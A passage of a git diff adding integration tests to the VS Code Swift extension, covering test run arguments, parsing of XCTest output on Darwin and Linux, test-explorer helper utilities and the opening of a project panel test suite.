testArgs = new TestRunArguments(runRequestByIds([xcSuiteId], []), false); + assertRunArguments(testArgs, { + xcTestArgs: [`${xcSuiteId}/`], + swiftTestArgs: [], + testItems: [testTargetId, xcSuiteId, xcTestId, xcTestId2], + }); + }); + + test("Test multiple tests across suites", () => { + const xcTestId2 = "XCTest Item 2"; + const anotherXcSuiteId = "Another XCTest Suite"; + const anotherXcTestId1 = "Another XCTest Item 1"; + const anotherXcTestId2 = "Another XCTest Item 2"; + const dsl = ` + tt:${testTargetId} + xc:${xcSuiteId} + xc:${xcTestId} + xc:${xcTestId2} + xc:${anotherXcSuiteId} + xc:${anotherXcTestId1} + xc:${anotherXcTestId2} + `; + createTestItemTree(controller, dsl); + + const testArgs = new TestRunArguments( + runRequestByIds([xcTestId, anotherXcTestId1], []), + false + ); + assertRunArguments(testArgs, { + xcTestArgs: [`${xcTestId}$`, `${anotherXcTestId1}$`], + swiftTestArgs: [], + testItems: [testTargetId, xcSuiteId, xcTestId, anotherXcSuiteId, anotherXcTestId1], + }); + }); + + test("Full XCTest Target (debug mode)", () => { + const xcTestId2 = "XCTest Item 2"; + const anotherXcSuiteId = "Another XCTest Suite"; + const anotherXcTestId1 = "Another XCTest Item 1"; + const anotherXcTestId2 = "Another XCTest Item 2"; + const dsl = ` + tt:${testTargetId} + xc:${xcSuiteId} + xc:${xcTestId} + xc:${xcTestId2} + xc:${anotherXcSuiteId} + xc:${anotherXcTestId1} + xc:${anotherXcTestId2} + `; + createTestItemTree(controller, dsl); + const testArgs = new TestRunArguments(runRequestByIds([testTargetId]), true); + assertRunArguments(testArgs, { + xcTestArgs: [xcSuiteId, anotherXcSuiteId], + swiftTestArgs: [], + testItems: [ + anotherXcTestId1, + anotherXcTestId2, + anotherXcSuiteId, + xcSuiteId, + testTargetId, + xcTestId2, + xcTestId, + ], + }); + }); +}); diff --git a/test/integration-tests/testexplorer/XCTestOutputParser.test.ts b/test/integration-tests/testexplorer/XCTestOutputParser.test.ts new file mode 100644 index 000000000..1af395eb9 --- /dev/null +++ b/test/integration-tests/testexplorer/XCTestOutputParser.test.ts @@ -0,0 +1,655 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2021-2023 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as assert from "assert"; +import { beforeEach } from "mocha"; + +import { + XCTestOutputParser, + darwinTestRegex, + nonDarwinTestRegex, +} from "@src/TestExplorer/TestParsers/XCTestOutputParser"; +import { TestXUnitParser } from "@src/TestExplorer/TestXUnitParser"; +import { WorkspaceContext } from "@src/WorkspaceContext"; +import { lineBreakRegex } from "@src/utilities/tasks"; +import { sourceLocationToVSCodeLocation } from "@src/utilities/utilities"; + +import { activateExtensionForSuite } from "../utilities/testutilities"; +import { TestRunState, TestRunTestItem, TestStatus } from "./MockTestRunState"; + +enum ParserTestKind { + Regular = "Regular Test Run", + Parallel = "Parallel Test Run", +} + +suite("XCTestOutputParser Suite", () => { + function inputToTestOutput(input: string) { + return input + .split(lineBreakRegex) + .slice(0, -1) + .map(line => `${line}\r\n`); + } + + function expectedStateToXML(tests: TestRunTestItem[]) { + const extractClassName = (name: string) => { + const parts = name.split("/"); + return parts[0]; + }; + const extractName = (name: string) => { + const parts = name.split("/"); + return parts[parts.length - 1]; + }; + const extractTiming = (test: TestRunTestItem) => { + if (test.timing) { + const time = + "duration" in test.timing ? test.timing.duration : test.timing.timestamp; + return `time="${time}"`; + } + return ""; + }; + const extractFailures = (test: TestRunTestItem[]) => { + return test.reduce((acc, t) => acc + ((t.issues?.length ?? 0) > 0 ? 1 : 0), 0); + }; + return ` + + +${tests.map( + t => + `${(t.issues ?? []).map(() => `\n`).join("\n")}` +)} + + +`; + } + + let hasMultiLineParallelTestOutput: boolean; + let workspaceContext: WorkspaceContext; + activateExtensionForSuite({ + async setup(ctx) { + workspaceContext = ctx; + hasMultiLineParallelTestOutput = ctx.globalToolchain.hasMultiLineParallelTestOutput; + }, + }); + + [ParserTestKind.Regular, ParserTestKind.Parallel].forEach(parserTestKind => { + function assertTestRunState(testRunState: TestRunState, expected: TestRunTestItem[]) { + // When parsing the results of a parallel test run the TestXUnitParser runs on the + // generated XML results after the test run is completed to fill out the state with + // anything that couldn't be captured off the output stream. + if (parserTestKind === ParserTestKind.Parallel) { + const xmlResults = expectedStateToXML(expected); + const xmlParser = new TestXUnitParser(hasMultiLineParallelTestOutput); + void xmlParser.parse(xmlResults, testRunState, workspaceContext.logger); + } + + assert.deepEqual(testRunState.tests, expected); + } + + suite(`${parserTestKind}`, () => { + suite("Darwin", () => { + let outputParser: XCTestOutputParser; + let testRunState: TestRunState; + beforeEach(() => { + outputParser = new XCTestOutputParser(darwinTestRegex); + testRunState = new TestRunState(true); + }); + + test("Passed Test", () => { + const input = `Test Case '-[MyTests.MyTests testPass]' started. +Test Case '-[MyTests.MyTests testPass]' passed (0.001 seconds). +`; + outputParser.parseResult(input, testRunState); + + assertTestRunState(testRunState, [ + { + name: "MyTests.MyTests/testPass", + status: TestStatus.passed, + timing: { duration: 0.001 }, + output: inputToTestOutput(input), + }, + ]); + }); + + test("Multiple Passed Tests", () => { + const test1Input = `Test Case '-[MyTests.MyTests testPass]' started. +Test Case '-[MyTests.MyTests testPass]' passed (0.001 seconds). +`; + const test2Input = `Test Case '-[MyTests.MyTests testPass2]' started. +Test Case '-[MyTests.MyTests testPass2]' passed (0.001 seconds). +`; + const input = `${test1Input}${test2Input}`; + + outputParser.parseResult(input, testRunState); + + assertTestRunState(testRunState, [ + { + name: "MyTests.MyTests/testPass", + status: TestStatus.passed, + timing: { duration: 0.001 }, + output: inputToTestOutput(test1Input), + }, + { + name: "MyTests.MyTests/testPass2", + status: TestStatus.passed, + timing: { duration: 0.001 }, + output: inputToTestOutput(test2Input), + }, + ]); + }); + + test("Failed Test", () => { + const input = `Test Case '-[MyTests.MyTests testFail]' started. +/Users/user/Developer/MyTests/MyTests.swift:59: error: -[MyTests.MyTests testFail] : XCTAssertEqual failed: ("1") is not equal to ("2") +Test Case '-[MyTests.MyTests testFail]' failed (0.106 seconds). +`; + outputParser.parseResult(input, testRunState); + + assertTestRunState(testRunState, [ + { + name: "MyTests.MyTests/testFail", + status: TestStatus.failed, + timing: { duration: 0.106 }, + issues: [ + { + message: `XCTAssertEqual failed: ("1") is not equal to ("2")`, + location: sourceLocationToVSCodeLocation( + "/Users/user/Developer/MyTests/MyTests.swift", + 59, + 0 + ), + isKnown: false, + diff: { + actual: '"1"', + expected: '"2"', + }, + }, + ], + output: inputToTestOutput(input), + }, + ]); + }); + + test("Skipped Test", () => { + const input = `Test Case '-[MyTests.MyTests testSkip]' started. +/Users/user/Developer/MyTests/MyTests.swift:90: -[MyTests.MyTests testSkip] : Test skipped +Test Case '-[MyTests.MyTests testSkip]' skipped (0.002 seconds). +`; + + outputParser.parseResult(input, testRunState); + + assertTestRunState(testRunState, [ + { + name: "MyTests.MyTests/testSkip", + status: TestStatus.skipped, + output: inputToTestOutput(input), + }, + ]); + }); + + test("Multi-line Fail", () => { + const input = `Test Case '-[MyTests.MyTests testFail]' started. +/Users/user/Developer/MyTests/MyTests.swift:59: error: -[MyTests.MyTests testFail] : failed - Multiline +fail +message +Test Case '-[MyTests.MyTests testFail]' failed (0.571 seconds). +`; + outputParser.parseResult(input, testRunState); + + assertTestRunState(testRunState, [ + { + name: "MyTests.MyTests/testFail", + status: TestStatus.failed, + timing: { duration: 0.571 }, + issues: [ + { + message: `failed - Multiline +fail +message`, + location: sourceLocationToVSCodeLocation( + "/Users/user/Developer/MyTests/MyTests.swift", + 59, + 0 + ), + isKnown: false, + diff: undefined, + }, + ], + output: inputToTestOutput(input), + }, + ]); + }); + + test("Multi-line Fail followed by another error", () => { + const input = `Test Case '-[MyTests.MyTests testFail]' started. +/Users/user/Developer/MyTests/MyTests.swift:59: error: -[MyTests.MyTests testFail] : failed - Multiline +fail +message +/Users/user/Developer/MyTests/MyTests.swift:61: error: -[MyTests.MyTests testFail] : failed - Again +Test Case '-[MyTests.MyTests testFail]' failed (0.571 seconds). +`; + outputParser.parseResult(input, testRunState); + + assertTestRunState(testRunState, [ + { + name: "MyTests.MyTests/testFail", + status: TestStatus.failed, + timing: { duration: 0.571 }, + issues: [ + { + message: `failed - Multiline +fail +message`, + location: sourceLocationToVSCodeLocation( + "/Users/user/Developer/MyTests/MyTests.swift", + 59, + 0 + ), + isKnown: false, + diff: undefined, + }, + { + message: `failed - Again`, + location: sourceLocationToVSCodeLocation( + "/Users/user/Developer/MyTests/MyTests.swift", + 61, + 0 + ), + isKnown: false, + diff: undefined, + }, + ], + output: inputToTestOutput(input), + }, + ]); + }); + + test("Single-line Fail followed by another error", () => { + const input = `Test Case '-[MyTests.MyTests testFail]' started. +/Users/user/Developer/MyTests/MyTests.swift:59: error: -[MyTests.MyTests testFail] : failed - Message +/Users/user/Developer/MyTests/MyTests.swift:61: error: -[MyTests.MyTests testFail] : failed - Again +Test Case '-[MyTests.MyTests testFail]' failed (0.571 seconds). +`; + outputParser.parseResult(input, testRunState); + + assertTestRunState(testRunState, [ + { + name: "MyTests.MyTests/testFail", + status: TestStatus.failed, + timing: { duration: 0.571 }, + issues: [ + { + message: `failed - Message`, + location: sourceLocationToVSCodeLocation( + "/Users/user/Developer/MyTests/MyTests.swift", + 59, + 0 + ), + isKnown: false, + diff: undefined, + }, + { + message: `failed - Again`, + location: sourceLocationToVSCodeLocation( + "/Users/user/Developer/MyTests/MyTests.swift", + 61, + 0 + ), + isKnown: false, + diff: undefined, + }, + ], + output: inputToTestOutput(input), + }, + ]); + }); + + test("Split line", () => { + const input1 = `Test Case '-[MyTests.MyTests testPass]' started. +Test Case '-[MyTests.MyTests`; + const input2 = ` testPass]' passed (0.006 seconds). +`; + outputParser.parseResult(input1, testRunState); + outputParser.parseResult(input2, testRunState); + + assertTestRunState(testRunState, [ + { + name: "MyTests.MyTests/testPass", + status: TestStatus.passed, + timing: { duration: 0.006 }, + output: inputToTestOutput(input1 + input2), + }, + ]); + }); + + test("Suite", () => { + const input = `Test Suite 'MyTests' started at 2024-08-26 13:19:25.325. +Test Case '-[MyTests.MyTests testPass]' started. +Test Case '-[MyTests.MyTests testPass]' passed (0.001 seconds). +Test Suite 'MyTests' passed at 2024-08-26 13:19:25.328. + Executed 1 test, with 0 failures (0 unexpected) in 0.001 (0.001) seconds +`; + outputParser.parseResult(input, testRunState); + + const testOutput = inputToTestOutput(input); + assertTestRunState(testRunState, [ + { + name: "MyTests.MyTests", + output: [testOutput[0], testOutput[3]], + status: TestStatus.passed, + }, + { + name: "MyTests.MyTests/testPass", + status: TestStatus.passed, + timing: { duration: 0.001 }, + output: [testOutput[1], testOutput[2]], + }, + ]); + assert.deepEqual(inputToTestOutput(input), testRunState.allOutput); + }); + + test("Empty Suite", () => { + const input = `Test Suite 'Selected tests' started at 2024-10-19 15:23:29.594. +Test Suite 'EmptyAppPackageTests.xctest' started at 2024-10-19 15:23:29.595. +Test Suite 'EmptyAppPackageTests.xctest' passed at 2024-10-19 15:23:29.595. + Executed 0 tests, with 0 failures (0 unexpected) in 0.000 (0.000) seconds +Test Suite 'Selected tests' passed at 2024-10-19 15:23:29.596. + Executed 0 tests, with 0 failures (0 unexpected) in 0.000 (0.001) seconds +warning: No matching test cases were run`; + + outputParser.parseResult(input, testRunState); + + assertTestRunState(testRunState, []); + assert.deepEqual(inputToTestOutput(input), testRunState.allOutput); + }); + + test("Multiple Suites", () => { + const input = `Test Suite 'All tests' started at 2024-10-20 21:54:32.568. +Test Suite 'EmptyAppPackageTests.xctest' started at 2024-10-20 21:54:32.570. +Test Suite 'TestSuite1' started at 2024-10-20 21:54:32.570. +Test Case '-[MyTests.TestSuite1 testFirst]' started. +Test Case '-[MyTests.TestSuite1 testFirst]' passed (0.000 seconds). +Test Suite 'TestSuite1' passed at 2024-10-20 21:54:32.570. + Executed 1 test, with 0 failures (0 unexpected) in 0.000 (0.001) seconds +Test Suite 'TestSuite2' started at 2024-10-20 21:54:32.570. +Test Case '-[MyTests.TestSuite2 testSecond]' started. +Test Case '-[MyTests.TestSuite2 testSecond]' passed (0.000 seconds). +Test Suite 'TestSuite2' passed at 2024-10-20 21:54:32.571. + Executed 1 test, with 0 failures (0 unexpected) in 0.000 (0.000) seconds +Test Suite 'EmptyAppPackageTests.xctest' passed at 2024-10-20 21:54:32.571. + Executed 2 tests, with 0 failures (0 unexpected) in 0.001 (0.001) seconds +Test Suite 'All tests' passed at 2024-10-20 21:54:32.571. + Executed 2 tests, with 0 failures (0 unexpected) in 0.001 (0.002) seconds`; + + outputParser.parseResult(input, testRunState); + + const testOutput = inputToTestOutput(input); + assertTestRunState(testRunState, [ + { + name: "MyTests.TestSuite1", + output: [testOutput[2], testOutput[5]], + status: TestStatus.passed, + }, + { + name: "MyTests.TestSuite1/testFirst", + output: [testOutput[3], testOutput[4]], + status: TestStatus.passed, + timing: { + duration: 0, + }, + }, + { + name: "MyTests.TestSuite2", + output: [testOutput[7], testOutput[10]], + status: TestStatus.passed, + }, + { + name: "MyTests.TestSuite2/testSecond", + output: [testOutput[8], testOutput[9]], + status: TestStatus.passed, + timing: { + duration: 0, + }, + }, + ]); + assert.deepEqual(inputToTestOutput(input), testRunState.allOutput); + }); + + test("Multiple Suites with Failed Test", () => { + const input = `Test Suite 'Selected tests' started at 2024-10-20 22:01:46.206. +Test Suite 'EmptyAppPackageTests.xctest' started at 2024-10-20 22:01:46.207. +Test Suite 'TestSuite1' started at 2024-10-20 22:01:46.207. +Test Case '-[MyTests.TestSuite1 testFirst]' started. +Test Case '-[MyTests.TestSuite1 testFirst]' passed (0.000 seconds). +Test Suite 'TestSuite1' passed at 2024-10-20 22:01:46.208. + Executed 1 test, with 0 failures (0 unexpected) in 0.000 (0.000) seconds +Test Suite 'TestSuite2' started at 2024-10-20 22:01:46.208. +Test Case '-[MyTests.TestSuite2 testSecond]' started. +/Users/user/Developer/MyTests/MyTests.swift:13: error: -[MyTests.TestSuite2 testSecond] : failed +Test Case '-[MyTests.TestSuite2 testSecond]' failed (0.000 seconds). +Test Suite 'TestSuite2' failed at 2024-10-20 22:01:46.306. + Executed 1 test, with 1 failure (0 unexpected) in 0.000 (0.000) seconds +Test Suite 'EmptyAppPackageTests.xctest' failed at 2024-10-20 22:01:46.306. + Executed 2 tests, with 1 failure (0 unexpected) in 0.001 (0.001) seconds +Test Suite 'Selected tests' failed at 2024-10-20 22:01:46.306. + Executed 2 tests, with 1 failure (0 unexpected) in 0.002 (0.002) seconds`; + outputParser.parseResult(input, testRunState); + + const testOutput = inputToTestOutput(input); + assertTestRunState(testRunState, [ + { + name: "MyTests.TestSuite1", + output: [testOutput[2], testOutput[5]], + status: TestStatus.passed, + }, + { + name: "MyTests.TestSuite1/testFirst", + output: [testOutput[3], testOutput[4]], + status: TestStatus.passed, + timing: { + duration: 0, + }, + }, + { + name: "MyTests.TestSuite2", + output: [testOutput[7], testOutput[11]], + status: TestStatus.failed, + }, + { + name: "MyTests.TestSuite2/testSecond", + output: [testOutput[8], testOutput[9], testOutput[10]], + status: TestStatus.failed, + timing: { + duration: 0, + }, + issues: [ + { + message: "failed", + location: sourceLocationToVSCodeLocation( + "/Users/user/Developer/MyTests/MyTests.swift", + 13, + 0 + ), + isKnown: false, + diff: undefined, + }, + ], + }, + ]); + assert.deepEqual(inputToTestOutput(input), testRunState.allOutput); + }); + + test("Interleaved user and XCTest output", () => { + const input = `Test Suite 'Selected tests' started at 2024-10-20 22:01:46.206. +Test Suite 'EmptyAppPackageTests.xctest' started at 2024-10-20 22:01:46.207. +Test Suite 'TestSuite1' started at 2024-10-20 22:01:46.207. +Test Case '-[MyTests.TestSuite1 testFirst]' started. +[debug]: evaluating manifest for 'pkg' v. unknown +[debug]: loading manifeTest Case '-[MyTests.TestSuite1 testFirst]' passed (0.001 seconds). +Test Suite 'TestSuite1' passed at 2024-10-20 22:01:46.208. + Executed 1 test, with 0 failures (0 unexpected) in 0.000 (0.000) seconds`; + + outputParser.parseResult(input, testRunState); + + const testOutput = inputToTestOutput(input); + assertTestRunState(testRunState, [ + { + name: "MyTests.TestSuite1", + output: [testOutput[2], testOutput[6]], + status: TestStatus.passed, + }, + { + name: "MyTests.TestSuite1/testFirst", + output: [testOutput[3], testOutput[5]], + status: TestStatus.passed, + timing: { + duration: 0.001, + }, + }, + ]); + assert.deepEqual(inputToTestOutput(input), testRunState.allOutput); + }); + + suite("Diffs", () => { + const testRun = (message: string, actual?: string, expected?: string) => { + const input = `Test Case '-[MyTests.MyTests testFail]' started. +/Users/user/Developer/MyTests/MyTests.swift:59: error: -[MyTests.MyTests testFail] : ${message} +Test Case '-[MyTests.MyTests testFail]' failed (0.106 seconds). +`; + outputParser.parseResult(input, testRunState); + + assertTestRunState(testRunState, [ + { + name: "MyTests.MyTests/testFail", + status: TestStatus.failed, + timing: { duration: 0.106 }, + issues: [ + { + message, + location: sourceLocationToVSCodeLocation( + "/Users/user/Developer/MyTests/MyTests.swift", + 59, + 0 + ), + isKnown: false, + diff: + expected && actual + ? { + expected, + actual, + } + : undefined, + }, + ], + output: inputToTestOutput(input), + }, + ]); + }; + + test("XCTAssertEqual", () => { + testRun(`XCTAssertEqual failed: ("1") is not equal to ("2")`, '"1"', '"2"'); + }); + test("XCTAssertEqualMultiline", () => { + testRun( + `XCTAssertEqual failed: ("foo\nbar") is not equal to ("foo\nbaz")`, + '"foo\nbar"', + '"foo\nbaz"' + ); + }); + test("XCTAssertIdentical", () => { + testRun( + `XCTAssertIdentical failed: ("V: 1") is not identical to ("V: 2")`, + '"V: 1"', + '"V: 2"' + ); + }); + test("XCTAssertIdentical with Identical Strings", () => { + testRun(`XCTAssertIdentical failed: ("V: 1") is not identical to ("V: 1")`); + }); + }); + }); + + suite("Linux", () => { + let outputParser: XCTestOutputParser; + let testRunState: TestRunState; + beforeEach(() => { + outputParser = new XCTestOutputParser(nonDarwinTestRegex); + testRunState = new TestRunState(false); + }); + + test("Passed Test", () => { + const input = `Test Case 'MyTests.testPass' started. +Test Case 'MyTests.testPass' passed (0.001 seconds). +`; + outputParser.parseResult(input, testRunState); + + assertTestRunState(testRunState, [ + { + name: "MyTests/testPass", + status: TestStatus.passed, + timing: { duration: 0.001 }, + output: inputToTestOutput(input), + }, + ]); + }); + + test("Failed Test", () => { + const input = `Test Case 'MyTests.testFail' started. +/Users/user/Developer/MyTests/MyTests.swift:59: error: MyTests.testFail : XCTAssertEqual failed: ("1") is not equal to ("2") +Test Case 'MyTests.testFail' failed (0.106 seconds). +`; + outputParser.parseResult(input, testRunState); + + assertTestRunState(testRunState, [ + { + name: "MyTests/testFail", + status: TestStatus.failed, + timing: { duration: 0.106 }, + issues: [ + { + message: `XCTAssertEqual failed: ("1") is not equal to ("2")`, + location: sourceLocationToVSCodeLocation( + "/Users/user/Developer/MyTests/MyTests.swift", + 59, + 0 + ), + isKnown: false, + diff: { + actual: '"1"', + expected: '"2"', + }, + }, + ], + output: inputToTestOutput(input), + }, + ]); + }); + + test("Skipped Test", () => { + const input = `Test Case 'MyTests.testSkip' started. +/Users/user/Developer/MyTests/MyTests.swift:90: MyTests.testSkip : Test skipped +Test Case 'MyTests.testSkip' skipped (0.002 seconds). +`; + outputParser.parseResult(input, testRunState); + + assertTestRunState(testRunState, [ + { + name: "MyTests/testSkip", + status: TestStatus.skipped, + output: inputToTestOutput(input), + }, + ]); + }); + }); + }); + }); +}); diff --git a/test/integration-tests/testexplorer/utilities.ts b/test/integration-tests/testexplorer/utilities.ts new file mode 100644 index 000000000..610b8f52a --- /dev/null +++ b/test/integration-tests/testexplorer/utilities.ts @@ -0,0 +1,315 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as assert from "assert"; +import * as vscode from "vscode"; + +import { TestExplorer } from "@src/TestExplorer/TestExplorer"; +import { TestKind } from "@src/TestExplorer/TestKind"; +import { TestRunProxy } from "@src/TestExplorer/TestRunner"; +import { reduceTestItemChildren } from "@src/TestExplorer/TestUtils"; +import { WorkspaceContext } from "@src/WorkspaceContext"; +import { SwiftLogger } from "@src/logging/SwiftLogger"; + +// eslint-disable-next-line @typescript-eslint/no-require-imports +import stripAnsi = require("strip-ansi"); + +/** + * Returns the TestExplorer for the given workspace and package folder. + * + * @param workspaceContext The workspace to search + * @param packageFolder The package folder within the workspace + * @returns The TestExplorer for the package + */ +export function testExplorerFor( + workspaceContext: WorkspaceContext, + packageFolder: vscode.Uri +): TestExplorer { + const targetFolder = workspaceContext.folders.find( + folder => folder.folder.path === packageFolder.path + ); + if (!targetFolder || !targetFolder.testExplorer) { + throw new Error("Unable to find test explorer"); + } + return targetFolder.testExplorer; +} + +type TestHierarchy = string | TestHierarchy[]; + +/** + * Builds a tree of text items from a TestItemCollection + */ +export const buildStateFromController = (items: vscode.TestItemCollection): TestHierarchy => + reduceTestItemChildren( + items, + (acc, item) => { + const children = buildStateFromController(item.children); + return [...acc, item.label, ...(children.length ? [children] : [])]; + }, + [] as TestHierarchy + ); + +/** + * Asserts that the test item hierarchy matches the description provided by a collection + * of `TestControllerState`s. + */ +export function assertTestControllerHierarchy( + controller: vscode.TestController, + state: TestHierarchy +) { + assert.deepEqual( + buildStateFromController(controller.items), + state, + "Expected TextExplorer to have a different state" + ); +} + +/** + * Asserts that the array contains the value. + * + * @param array The array to check. + * @param value The value to check for. + * @param message An optional message to display if the assertion fails. + */ +export function assertContains(array: T[], value: T, message?: string) { + assert.ok(array.includes(value), message ?? `${value} is not in ${array}`); +} + +/** + * Asserts that an array of strings contains the value ignoring + * leading/trailing whitespace. + * + * @param array The array to check. + * @param value The value to check for. + * @param message An optional message to display if the assertion fails. + */ +export function assertContainsTrimmed(array: string[], value: string, message?: string) { + const found = array.find(row => row.trim() === value); + assert.ok(found, message ?? `${value} is not in ${array}`); +} + +/** + * Asserts on the result of a test run. + * + * The order of tests is not verified because swift-testing + * tests run in parallel and can complete in any order. + */ +export function assertTestResults( + testRun: TestRunProxy, + state: { + failed?: { + test: string; + issues: string[]; + }[]; + passed?: string[]; + skipped?: string[]; + errored?: string[]; + enqueued?: string[]; + unknown?: number; + } +) { + assert.deepEqual( + { + passed: testRun.runState.passed.map(({ id }) => id).sort(), + failed: testRun.runState.failed + .map(({ test, message }) => ({ + test: test.id, + issues: Array.isArray(message) + ? message.map(({ message }) => stripAnsi(message.toString())) + : [stripAnsi((message as vscode.TestMessage).message.toString())], + })) + .sort(), + skipped: testRun.runState.skipped.map(({ id }) => id).sort(), + errored: testRun.runState.errored.map(({ id }) => id).sort(), + enqueued: Array.from(testRun.runState.enqueued) + .map(({ id }) => id) + .sort(), + unknown: testRun.runState.unknown, + }, + { + passed: (state.passed ?? []).sort(), + failed: (state.failed ?? []) + .map(({ test, issues }) => ({ + test, + issues: issues.map(message => stripAnsi(message)), + })) + .sort(), + skipped: (state.skipped ?? []).sort(), + errored: (state.errored ?? []).sort(), + enqueued: (state.enqueued ?? []).sort(), + unknown: 0, + }, + ` + Build Output: + ${testRun.runState.output.join("\n")} + ` + ); +} + +export function syncPromise(callback: () => void): Promise { + return new Promise(resolve => { + callback(); + resolve(); + }); +} + +export function eventPromise(event: vscode.Event): Promise { + return new Promise(resolve => { + event(t => resolve(t)); + }); +} + +/** + * After extension activation the test explorer needs to be initialized before the controller is ready. + * Use this method to wait for the test explorer be available for test items + * to be populated. + * + * @param testExplorer The test explorer to wait on + * @returns The initialized test controller + */ +export async function waitForTestExplorerReady( + testExplorer: TestExplorer, + logger: SwiftLogger +): Promise { + await vscode.commands.executeCommand("workbench.view.testing.focus"); + const noExistingTests = testExplorer.controller.items.size === 0; + logger.info( + `waitForTestExplorerReady: Found ${testExplorer.controller.items.size} existing top level test(s)` + ); + const controller = await (noExistingTests + ? eventPromise(testExplorer.onTestItemsDidChange) + : Promise.resolve(testExplorer.controller)); + return controller; +} + +/** + * Given a path in the form TestTarget.Suite.test, reutrns the test item from the TestController + */ +function getTestItem( + controller: vscode.TestController, + itemId: string +): vscode.TestItem | undefined { + function searchChildren(items: vscode.TestItemCollection): vscode.TestItem | undefined { + return reduceTestItemChildren( + items, + (acc, item) => { + if (acc) { + return acc; + } else if (item.id === itemId) { + return item; + } + + return searchChildren(item.children); + }, + undefined as vscode.TestItem | undefined + ); + } + + return searchChildren(controller.items); +} + +/** + * Returns a list of `vscode.TestItem`s given a list of string test + * IDs and a `vscode.TestController` to search in. + * + * @param controller A `vscode.TestController` to search in + * @param tests A list of test IDs + * @returns A collection of resolved `vscode.TestItem`s + */ +export function gatherTests( + controller: vscode.TestController, + ...tests: string[] +): vscode.TestItem[] { + const testItems = tests.map(test => { + const testItem = getTestItem(controller, test); + if (!testItem) { + const testsInController = reduceTestItemChildren( + controller.items, + (acc, item) => { + acc.push( + `${item.id}: ${item.label} ${item.error ? `(error: ${item.error})` : ""}` + ); + return acc; + }, + [] as string[] + ); + + assert.fail( + `Unable to find ${test} in Test Controller. Items in test controller are: ${testsInController.join(", ")}` + ); + } + assert.ok(testItem); + return testItem; + }); + + return testItems; +} + +/** + * Executes a test run based on the specified test profile and test items. + * + * @param testExplorer A test explorer + * @param runProfile The TestKind to use when running the tests (Standard, Debug, Coverage, etc...) + * @param tests A variable number of test IDs or names to be gathered and run. + * @returns A test run proxy whose `runState` can be inspected for test results. + */ +export async function runTest( + logger: SwiftLogger, + testExplorer: TestExplorer, + runProfile: TestKind, + ...tests: string[] +): Promise { + logger.info(`runTest: ${runProfile} tests: ${tests}`); + const targetProfile = testExplorer.testRunProfiles.find( + profile => profile.label === runProfile + ); + if (!targetProfile) { + throw new Error(`Unable to find run profile named ${runProfile}`); + } + const testItems = gatherTests(testExplorer.controller, ...tests); + const request = new vscode.TestRunRequest(testItems); + + logger.info(`runTest: configuring test run with ${testItems.map(t => t.id)}`); + + // The first promise is the return value, the second promise builds and runs + // the tests, populating the TestRunProxy with results and blocking the return + // of that TestRunProxy until the test run is complete. + return ( + await Promise.all([ + eventPromise(testExplorer.onCreateTestRun).then(run => { + logger.info(`runTest: created test run with items ${run.testItems.map(t => t.id)}`); + return run; + }), + performRun(targetProfile, request, logger), + ]) + )[0]; +} + +async function performRun( + targetProfile: vscode.TestRunProfile, + request: vscode.TestRunRequest, + logger: SwiftLogger +): Promise { + const run = targetProfile.runHandler(request, new vscode.CancellationTokenSource().token); + if (!run) { + throw new Error("No test run was created"); + } + logger.info(`runTest: starting running tests`); + try { + await run; + logger.info(`runTest: completed running tests`); + } catch (e) { + logger.error(`runTest: error running tests: ${e}`); + throw e; + } +} diff --git a/test/integration-tests/ui/ProjectPanelProvider.test.ts b/test/integration-tests/ui/ProjectPanelProvider.test.ts new file mode 100644 index 000000000..247a1d3b1 --- /dev/null +++ b/test/integration-tests/ui/ProjectPanelProvider.test.ts @@ -0,0 +1,511 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { expect } from "chai"; +import { afterEach, beforeEach } from "mocha"; +import * as path from "path"; +import * as vscode from "vscode"; + +import { FolderContext } from "@src/FolderContext"; +import { WorkspaceContext } from "@src/WorkspaceContext"; +import { Commands } from "@src/commands"; +import { createBuildAllTask } from "@src/tasks/SwiftTaskProvider"; +import { + FileNode, + PackageNode, + ProjectPanelProvider, + TreeNode, +} from "@src/ui/ProjectPanelProvider"; +import { wait } from "@src/utilities/utilities"; +import { Version } from "@src/utilities/version"; + +import { testAssetPath } from "../../fixtures"; +import { tag } from "../../tags"; +import { executeTaskAndWaitForResult, waitForNoRunningTasks } from "../../utilities/tasks"; +import { + activateExtensionForSuite, + folderInRootWorkspace, + updateSettings, +} from "../utilities/testutilities"; + +tag("medium").suite("ProjectPanelProvider Test Suite", function () { + let workspaceContext: WorkspaceContext; + let treeProvider: ProjectPanelProvider; + + activateExtensionForSuite({ + async setup(ctx) { + workspaceContext = ctx; + + const folderContext = await folderInRootWorkspace("targets", workspaceContext); + await vscode.workspace.openTextDocument( + path.join(folderContext.folder.fsPath, "Package.swift") + ); + const logger = await ctx.loggerFactory.temp("ProjectPanelProvider.tests"); + await folderContext.loadSwiftPlugins(logger); + if (logger.logs.length > 0) { + expect.fail( + `Expected no output channel logs: ${JSON.stringify(logger.logs, undefined, 2)}` + ); + } + + treeProvider = ctx.projectPanel; + + await workspaceContext.focusFolder(folderContext); + const buildAllTask = await createBuildAllTask(folderContext); + buildAllTask.definition.dontTriggerTestDiscovery = true; + await executeTaskAndWaitForResult(buildAllTask); + }, + async teardown() { + workspaceContext.contextKeys.flatDependenciesList = false; + }, + testAssets: ["targets"], + }); + + let resetSettings: (() => Promise) | undefined; + beforeEach(async function () { + resetSettings = await updateSettings({ + "swift.debugger.debugAdapter": "CodeLLDB", + }); + }); + + afterEach(async () => { + if (resetSettings) { + await resetSettings(); + resetSettings = undefined; + } + }); + + test("Includes top level nodes", async () => { + await waitForChildren( + () => treeProvider.getChildren(), + commands => { + const commandNames = commands.map(n => n.name); + // There is a bug in 5.9 where if you have a build tool plugin and a + // command 